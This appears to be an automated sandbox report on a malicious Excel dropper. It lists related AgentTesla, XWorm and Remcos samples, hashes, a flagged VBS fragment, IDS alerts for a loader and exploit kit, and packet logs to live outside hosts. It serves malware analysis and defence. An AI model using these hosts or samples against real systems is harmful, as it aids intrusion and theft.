	Circular_no_088_Annexure_pdf.html	Get hash	malicious	HTMLPhisher	Browse	208.95.112.1
	RTGS_UCB_DCCB_docx.html	Get hash	malicious	HTMLPhisher	Browse	208.95.112.1
	aoKTzGQSRP.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	7EdXVD16wd.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	NxR7UQaeKe.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	yNDotZsd7U.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	MMsRQ2p7RL.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS-COLOCROSSINGUS	Comprobante de pago.xlam.xlsx	Get hash	malicious	Unknown	Browse	192.3.216.142
	Orden de Compra No. 78986756565344657.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	198.46.178.134
	Shipping Documents WMLREF115900.xls	Get hash	malicious	Lokibot	Browse	192.3.176.141
	A & C Metrology OC 5457144.xls	Get hash	malicious	Unknown	Browse	192.210.215.8
	#PO247762.docx	Get hash	malicious	Remcos	Browse	104.168.7.51
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse	192.3.165.37
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	107.175.231.193
	Logs.xls	Get hash	malicious	Lokibot	Browse	192.3.176.141
	PRODUCT_INQUIRY.js	Get hash	malicious	WSHRat	Browse	192.210.215.11
	Inv No.248740.xls	Get hash	malicious	Unknown	Browse	107.175.229.138
TUT-ASUS	Orden de Compra No. 78986756565344657.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	OUTSTANDING PAYMENT STATUS 01199241024.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	208.95.112.1
	Circular_no_088_Annexure_pdf.html	Get hash	malicious	HTMLPhisher	Browse	208.95.112.1
	RTGS_UCB_DCCB_docx.html	Get hash	malicious	HTMLPhisher	Browse	208.95.112.1
	aoKTzGQSRP.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	7EdXVD16wd.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	faBnX3uZqr.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	NxR7UQaeKe.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	yNDotZsd7U.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	MMsRQ2p7RL.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	Comprobante de pago.xlam.xlsx	Get hash	malicious	Unknown	Browse	142.250.186.97 216.58.212.174
	Orden de Compra No. 78986756565344657.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	142.250.186.97 216.58.212.174
	Shipping Documents WMLREF115900.xls	Get hash	malicious	Lokibot	Browse	142.250.186.97 216.58.212.174
	A & C Metrology OC 5457144.xls	Get hash	malicious	Unknown	Browse	142.250.186.97 216.58.212.174
	#PO247762.docx	Get hash	malicious	Remcos	Browse	142.250.186.97 216.58.212.174
	PO NAHK22012FA000000.docx	Get hash	malicious	Unknown	Browse	142.250.186.97 216.58.212.174
	PO NAHK22012FA00000.docx.doc	Get hash	malicious	Remcos	Browse	142.250.186.97 216.58.212.174
	Logs.xls	Get hash	malicious	Lokibot	Browse	142.250.186.97 216.58.212.174
	InvoiceXCopy.xls	Get hash	malicious	Snake Keylogger	Browse	142.250.186.97 216.58.212.174
	CLOSURE.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.250.186.97 216.58.212.174

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4760
Entropy (8bit):	4.834060479684549
Encrypted:	false
SSDEEP:	96:RCJ2Woe5u2k6Lm5emmXIGxgyg12jDs+un/iQLEYFjDaeWJ6KGcmXSFRLcU6/KD:cxoe5uVsm5emdOgkjDt4iWN3yBGHydcY
MD5:	838C1F472806CF4BA2A9EC49C27C2847
SHA1:	D1C63579585C4740956B099697C74AD3E7C89751
SHA-256:	40A844E6AF823D9E71A35DFEE1FF7383D8A682E9981FB70440CA47AA1F6F1FF3
SHA-512:	E784B61696AB19C5A178204A11E4012A9A29D58B3D3BF1D5648021693883FFF343C87777E7A2ADC81B833148B90B88E60948B370D2BB99DEC70C097B5C91B145
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script...............T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\NIGHTTTTMPDW-constraints[1].vbs

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	138934
Entropy (8bit):	3.70030805435876
Encrypted:	false
SSDEEP:	3072:nyb+gt5pqGwHISXRrXhBgnT4aagpkwloeg88CS:zlhibager88CS
MD5:	FBE9EE491581B8F2489276B2B438C80B
SHA1:	8EEF3B6C29958CB0A91E81DC8568C0FA3CD86D7B
SHA-256:	AA4C0EAF54B145282142AF96E5B53F8F98921757636D4C5C54604894C37938DC
SHA-512:	59A3DB940F517A8EDC7FB7BE5EBA215D589337F64286A82D359C45AE967D53B9063AD5691D73B12A7F03566F12F065594F61A05270213E81DC5F90E91710F311
Malicious:	true
Reputation:	low
Preview:	..p.r.i.v.a.t.e. .f.u.n.c.t.i.o.n. .C.r.e.a.t.e.S.e.s.s.i.o.n.(.w.s.m.a.n.,. .c.o.n.S.t.r.,. .o.p.t.D.i.c.,. .s.u.b.s.i.n.u.o.s.o.)..... . . . .d.i.m. .f.a.r.r.a.c.h.o.F.l.a.g.s..... . . . .d.i.m. .c.o.n.O.p.t. ..... . . . .d.i.m. .f.a.r.r.a.c.h.o..... . . . .d.i.m. .a.u.t.h.V.a.l..... . . . .d.i.m. .e.n.c.o.d.i.n.g.V.a.l..... . . . .d.i.m. .e.n.c.r.y.p.t.V.a.l..... . . . .d.i.m. .p.w..... . . . .d.i.m. .t.o.u.t..... . . . .'. .p.r.o.x.y. .i.n.f.o.r.m.a.t.i.o.n..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e.V.a.l..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m.V.a.l..... . . . .d.i.m. .p.r.o.x.y.U.s.e.r.n.a.m.e..... . . . .d.i.m. .p.r.o.x.y.P.a.s.s.w.o.r.d..... . . . . ..... . . . .f.a.r.r.a.c.h.o.F.l.a.g.s. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e.V.a.l. .=. .0..... . . . .

C:\Users\user\AppData\Local\Temp\1n4jhjmf.bff.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\bac2la0v.axw.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\pavil5nu.ag0.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\u3hmr3af.da3.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	138934
Entropy (8bit):	3.70030805435876
Encrypted:	false
SSDEEP:	3072:nyb+gt5pqGwHISXRrXhBgnT4aagpkwloeg88CS:zlhibager88CS
MD5:	FBE9EE491581B8F2489276B2B438C80B
SHA1:	8EEF3B6C29958CB0A91E81DC8568C0FA3CD86D7B
SHA-256:	AA4C0EAF54B145282142AF96E5B53F8F98921757636D4C5C54604894C37938DC
SHA-512:	59A3DB940F517A8EDC7FB7BE5EBA215D589337F64286A82D359C45AE967D53B9063AD5691D73B12A7F03566F12F065594F61A05270213E81DC5F90E91710F311
Malicious:	true
Preview:	..p.r.i.v.a.t.e. .f.u.n.c.t.i.o.n. .C.r.e.a.t.e.S.e.s.s.i.o.n.(.w.s.m.a.n.,. .c.o.n.S.t.r.,. .o.p.t.D.i.c.,. .s.u.b.s.i.n.u.o.s.o.)..... . . . .d.i.m. .f.a.r.r.a.c.h.o.F.l.a.g.s..... . . . .d.i.m. .c.o.n.O.p.t. ..... . . . .d.i.m. .f.a.r.r.a.c.h.o..... . . . .d.i.m. .a.u.t.h.V.a.l..... . . . .d.i.m. .e.n.c.o.d.i.n.g.V.a.l..... . . . .d.i.m. .e.n.c.r.y.p.t.V.a.l..... . . . .d.i.m. .p.w..... . . . .d.i.m. .t.o.u.t..... . . . .'. .p.r.o.x.y. .i.n.f.o.r.m.a.t.i.o.n..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e..... . . . .d.i.m. .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e.V.a.l..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m..... . . . .d.i.m. .p.r.o.x.y.A.u.t.h.e.n.t.i.c.a.t.i.o.n.M.e.c.h.a.n.i.s.m.V.a.l..... . . . .d.i.m. .p.r.o.x.y.U.s.e.r.n.a.m.e..... . . . .d.i.m. .p.r.o.x.y.P.a.s.s.w.o.r.d..... . . . . ..... . . . .f.a.r.r.a.c.h.o.F.l.a.g.s. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e. .=. .0..... . . . .p.r.o.x.y.A.c.c.e.s.s.T.y.p.e.V.a.l. .=. .0..... . . . .

C:\Users\user\Desktop\~$transferencia interbancaria_66579.xlam.xls

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	false
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\user\Desktop\~$transferencia interbancaria_66579.xlam.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Static File Info

General

File type:	Microsoft Excel 2007+
Entropy (8bit):	7.998034175592378
TrID:	Excel Microsoft Office Open XML Format document (35004/1) 81.40% ZIP compressed archive (8000/1) 18.60%
File name:	transferencia interbancaria_66579.xlam.xlsx
File size:	694'395 bytes
MD5:	c2a1f2f11eafc8f0faa2480b44d95d7d
SHA1:	4aacb955102f10f5c66089fd097f22a633360383
SHA256:	bf04af05000e8205dad105999af809b1031eeb438aff45e36ae9ab416d669002
SHA512:	6963c8766864faa40ae1e62f65b412ff0058bfe9138edffb3b56cde9e72d8c00d0ec33bfa138415b43b385d34cb5f915d20962b400b2f61fa69934eb54029322
SSDEEP:	12288:nLkIJnX/eKaihIi7qtVJOiyRxxNu7LqdXwig7vVpLwT9vt1sxcjRaFebVO14L:nL7nabvJbG3YLq2igb7kT1t1sUkFeRks
TLSH:	8DE423A3047C0DD8A6BFAB214F1C1910E53F6B4EB785291DE166BF7DD2D2BC62204C68
File Content Preview:	PK..........WY........D.......[Content_Types].xmlUT...'q.g'q.g'q.g...n.0.E.......H'E....E...4..~...[..*.q...HN......F.43...sz...Zb&.C#..DT.t46.....k.YTT .p1`#.H.......:!U\...])..R.;.@2&.......g...z.sT...'.c(.J]z.q9...<.R.....Ik...7y=.........2.. u...F....

File Icon


Icon Hash:	2562ab89a7b7bfbf

Static OLE Info

General

Document Type:	OpenXML
Number of OLE Files:	1

OLE File "transferencia interbancaria_66579.xlam.xlsx"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Author:	Mancilla, Jesus
Last Saved By:	USER
Total Edit Time:	0
Create Time:	2022-08-10T18:51:50Z
Last Saved Time:	2023-08-08T20:02:56Z
Creating Application:	Microsoft Excel
Security:	0

Document Summary

Thumbnail Scaling Desired:	false
Company:
Contains Dirty Links:	false
Shared Document:	false
Changed Hyperlinks:	false
Application Version:	16.0300

Streams

Stream Path: \x1Ole10NaTIvE, File Type: data, Stream Size: 982054

General
Stream Path:	\x1Ole10NaTIvE
CLSID:
File Type:	data
Stream Size:	982054
Entropy:	5.892999243213154
Base64 Encoded:	True
Data ASCII:	4 j . . . . n . . M . ~ . % U . . . o Z o . . S . v . D . . B . u b P b . . . . 6 F < % . . . m 8 . . . . L . 3 ) * { E r B { ` q [ . . . c k . i I . . . ^ . K . . . . I A . . . . [ H . W Q S W . . ^ . . . V . . . . . [ Y _ O . . . [ . g V ^ N ! 1 . . . S [ . . . . S S W [ . . V ` . . . . . _ [ [ . u Q Y 9 . T . . . J : Q V ( . . ) + 5 / 8 . . * . ; . . a / 2 : % @ . \| z ~ . p . . . : . N r . d } 0 V r N F g O . T L w N . o / 4 . m . . O x A G E g [ q . ? D Q q . q V h v . . m \| C L x . . T + g f . Y - \\
Data Raw:	34 df 6a 03 02 0d 84 b4 01 6e 01 08 4d cd b8 7e fd ed 2e 25 bc bd 55 10 8b 08 8b 19 be fd f7 6f 5a 81 e6 b2 6f d6 a4 8b 2e 53 ff d5 83 c0 76 ff e0 ce c0 1f 44 e4 07 bf b7 e2 18 ac 42 00 75 fd 62 50 62 e5 80 1a 1a 89 02 f5 bc 05 36 46 3c 25 13 f7 11 11 ca f0 6d 38 dd 8f a2 16 d3 dc 13 1c 4c da ba 33 96 f7 29 2a 7b 45 72 fd a8 42 7b 60 71 81 b7 e4 e1 5b 0d 1d c2 0f eb 63 6b c0 00 69

Stream Path: Wr8MkqR0VmHoKtWXydQkseawY49, File Type: empty, Stream Size: 0

General
Stream Path:	Wr8MkqR0VmHoKtWXydQkseawY49
CLSID:
File Type:	empty
Stream Size:	0
Entropy:	0.0
Base64 Encoded:	False
Data ASCII:
Data Raw:

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T08:59:16.752082+0200	2049038	ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2	1	142.250.186.97	443	192.168.2.22	49167	TCP
2024-10-24T08:59:27.937146+0200	2020424	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1	1	107.172.31.13	80	192.168.2.22	49168	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 08:59:04.508404016 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:04.514318943 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:04.514385939 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:04.516045094 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:04.521627903 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.176064014 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.176126003 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.176156998 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.176165104 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.176188946 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.176237106 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.176276922 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.176383972 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.176383972 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.176383972 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.176738977 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.176774025 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.176784039 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.176809072 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.176812887 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.176852942 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.177676916 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.177711010 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.177721977 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.177751064 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.182136059 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.182169914 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.182183027 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.182204008 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.182431936 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.182465076 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.182648897 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.182982922 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.183020115 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.292880058 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.292923927 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.292983055 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.293071985 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.293071985 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.293071985 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.293572903 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.293623924 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.298309088 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.298413038 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.298430920 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.298471928 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.299156904 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.299191952 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.299213886 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.299225092 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.299233913 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.299273014 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.303625107 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.303659916 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.303687096 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.303719997 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.304400921 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.304435015 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.304449081 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.304480076 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.308983088 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.309062958 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.309096098 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.309120893 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.309739113 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.309772968 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.309794903 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.309806108 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.309834003 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.309853077 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.314259052 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.314295053 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.314321995 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.314352036 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.334139109 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.334172964 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.334208012 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.334208965 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.334361076 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.334362030 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.410087109 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.410152912 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.410389900 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.410425901 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.410439968 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.410465956 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.410693884 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.410742044 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.410962105 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.411000013 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.411010027 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.411047935 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.411521912 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.411556005 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.411582947 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.411590099 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.411608934 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.411631107 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.412365913 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.412412882 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.412416935 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.412451982 CEST	80	49165	107.172.31.13	192.168.2.22
Oct 24, 2024 08:59:05.412462950 CEST	49165	80	192.168.2.22	107.172.31.13
Oct 24, 2024 08:59:05.412481070 CEST	80	49165	107.172.31.13	192.168.2.22
